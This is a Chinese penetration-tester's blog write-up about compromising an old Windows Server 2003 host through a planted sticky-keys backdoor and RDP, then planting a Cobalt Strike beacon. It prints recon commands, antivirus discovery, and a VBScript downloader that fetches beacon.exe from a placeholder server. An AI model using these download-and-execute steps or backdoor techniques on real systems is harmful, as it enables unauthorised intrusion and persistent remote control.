实战 | 记录一次被自己蠢哭的挂马过程

免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章来源:本文章由Dragon7 Team团队的张憨憨师傅提供
感谢Yoh0o师傅的援助
公众号:Dragon7 SEC,感谢关注

文章背景:
客户要求测试内网,尽最大努力去打穿他,前提是不影响业务正常运行!(我的内心:好家伙,这么变态的要求,咱们不得满足他?)

本文章就不介绍外网打点了,我们内部分工比较明确,我主要搞内网,所以打点的师傅已经给我留好后门了,我们直接连接即可,并且按5次shift即可调出cmd界面

开始:

  • 外网师傅给我留的是3389,我们直接远程连接,并且不用输入用户名和密码(打点师傅牛逼)
    在这里插入图片描述
  • 远程连接后,发现这个界面有点古老,仔细一看发现是windows server 2003的系统,好的,接下来我们只需要按5次shift即可,调出cmd
    在这里插入图片描述
  • 简单收集一下信息,比如看看网卡有几张,IP地址有几个,是否有域,是否出网,是否有编程语言环境等等
    • whoami 查看当前用户
    • ipconfig /all 收集网卡/ip信息
    • systeminfo 查看系统及是否有域
      在这里插入图片描述在这里插入图片描述
      在这里插入图片描述
  • 上面发现是一个system的用户,并且只有一张网卡,还是公网IP,这里我猜测他可能是一个云服务器,并且没有域,使用的是默认的组
  • 接下来测试是否出网,有没有编程语言或者下载之类的工具,开始准备给他挂马了,在挂马之前还得确认他是否有杀软
    • tasklist 查看所有进程
      在这里插入图片描述
      使用windows杀软在线识别的方式,将所有进程复制到其中

      https://www.ddosi.org/av/1.php       ----杀软在线识别   
      

      what?不能复制粘贴?G,上百个进程,这得只能一个手动输入?这得弄到啥时候?
      我的大脑飞速思考了1秒后,终于想到了,使用命令列出他的所有杀软名,然后网站去找对应的进程名称,这不就解决了吗?哈哈哈哈哈

      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List     列出杀软名称
      

      正当我开心之际,又一个噩耗出现,远程连接自动断开了!!!!什么情况?网络原因?还是被发现了?没关系,我们再次连接一下试试
      成功连接,那可能是网络原因导致断连吧,没关系,我再次调出cmd,输入命令
      在这里插入图片描述
      当我命令输入一半时,远程连接再次断开
      这是什么情况???难道被发现了???不确定,我再次连接,调出cmd,输入

      quser      查看连接用户
      

      查看已连接的用户,发现并没有用户登录,奇怪了
      在这里插入图片描述
      正在我愣神之际,远程连接再次断开
      仔细想想,每次断开时间都在1分钟以内,大概30~40秒左右,也许是设置了远程桌面的连接时长,但是秉承着内网渗透的职业操守,不改动机器的任何设置(一旦改动设置,容易被发现);所以,只要我拿出单身20多年的手速来,这个情况完全影响不了我
      在这里插入图片描述
      再次输入查询杀软名称的命令

      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List  
      

      结果,发现被控端无法运行这个命令,G!!!!!!
      在这里插入图片描述
      怎么办???怎么办????再看看进程,貌似没有杀软,怕个der!!!直接上马
      开始测试出网情况,建议大家测试出网的时候不要去ping百度,而是直接ping自己云端服务器
      在这里插入图片描述
      出网!好的,那我们再看看是否存在curl或者wget之类的工具支持我从云端下载马
      在这里插入图片描述
      好家伙,一圈下开只有certutil,连powershell都没有!!!
      这个版本也太老了
      不过还好,至少有一个
      接下来的思路是,CS准备上线,生成马子,放云端,使用python -m http.server 8080,开启http连接,然后让被控端使用certutil进行下载
      开干
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      什么????出错了?我查阅了很多文章,也做了很多次修改,不管参数怎么变,都不行,都是同样的提示,最后看到一个大佬解释说windows server 2003的certutil工具本来就是有问题的,但是大佬并未给出解决方案,所以,这个方法也行不通
      那怎么办?继续尝试使用其他的方式传文件

      • cscript
      echo Set Post = CreateObject("Msxml2.XMLHTTP") >> download.vbs
      echo Set Shell = CreateObject("Wscript.Shell") >> download.vbs
      echo Post.Open "GET","http://xxx.xxx.xxx.xxx/beacon.exe",0 >> download.vbs
      echo Post.Send() >>download.vbs
      echo Set aGet = CreateObject("ADODB.Stream") >> download.vbs
      echo aGet.Mode = 3 >> download.vbs
      echo aGet.Type = 1 >> download.vbs
      echo aGet.Open() >> download.vbs
      echo aGet.Write(Post.responseBody) >> download.vbs
      echo aGet.SaveToFile "D:/a.ps1",2 >> download.vbs
      
      #执行
      cscript downfile.vbs
      

      使用这个方法也不行,提示模式0不支持什么什么,图片就不贴了,也许调整一下模式是可以的,但是这个地方我没有去研究,也没有去细想,所以这个方法也就G了
      那我还有其他办法吗?突然我想到了使用FTP,也许是可以的,但是很麻烦,我想着还是先给他解决掉30~40秒断连这个问题虽然很容易被发现,但是没办法,这个太烦人了
      命令框中输入gpedit.msc,打开本地策略,找到远程桌面,调整时间,结果…
      /在这里插入图片描述
      这是什么情况?没有远程桌面的选项????G
      后续又在网上找了好几种下载的方法,都不行,但是我倔强的脾气就是不想去尝试使用FTP,怎么办?没有办法了吗?
      缺少思路和灵感的时候,听说去拉个屎回来会有不错的想发,秉承着上班摸鱼,带薪拉屎的理念,我还是去厕所蹲了1个小时
      在这里插入图片描述
      回到工位后,突然灵感爆发,细想一下,既然我都能打开cmd了,为什么不打开浏览器直接下载呢?好的,说干就干

      start iexplore.exe
      

      由于这里是使用本地环境做的复现还原,但是浏览器无法还原当时的情况,所以这里就不附图了,当我打开默认浏览器后,结果发现默认浏览器无法使用,不能联网!!!这个方法也G了
      后来,找Yoh0o师傅聊了一下,师傅给我分析了一通;既然可以直接打开浏览器,那就说明我可以打开文件,我既然可以打开文件,就说明可以打开文件管理器,那是不是可以直接在里面做手脚呢?并且里面又java环境(里面存在java环境,前面忘记写了),为什么不使用java反弹shell呢?就算手敲java代码来不及,你打开一个文件,在里面编写边保存也不影响你呀!!!
      卧槽,听完Yoh0o师傅的分析后,突然觉得好有道理,真的是当局者迷呀!
      说完就开干,直接使用如下命令打开文件管理器

      explorer
      

      当我按下回车键以后,神奇的事情发生了
      在这里插入图片描述
      这是什么情况?我直接进到桌面了????但是登录框还在,并且桌面的东西可以随便点击!!!!!
      管他什么,能进去就行,进去后桌面有个火狐浏览器(图片为测试环境,所以没有火狐浏览器),直接可以访问我的服务器,那我就直接下载,然后双击运行,成功挂马!!!

总结:

1,就断网情况来说,windows server 2003的本地策略中,远程桌面的位置和win10,win11的位置不同,所以按照win10的位置去找2003的本地策略位置是行不通的
2,最开始判断到有java的时候,就应该使用java反弹shell,虽然有时间限制,怕一次性敲不完,但是可以使用打开文件的方式边写边保存
3,最初应该想到打开文件资源管理器,但是最后还是师傅点拨了一下才想起来!!!

最后,有了这次挂马的经历,还是学到了很多东西,发现自己能力的不足之处,还需要勤加修炼!那么,这次的内容到此结束,咱们下次再见!!!

猜你喜欢

转载自blog.csdn.net/m0_55994898/article/details/134625319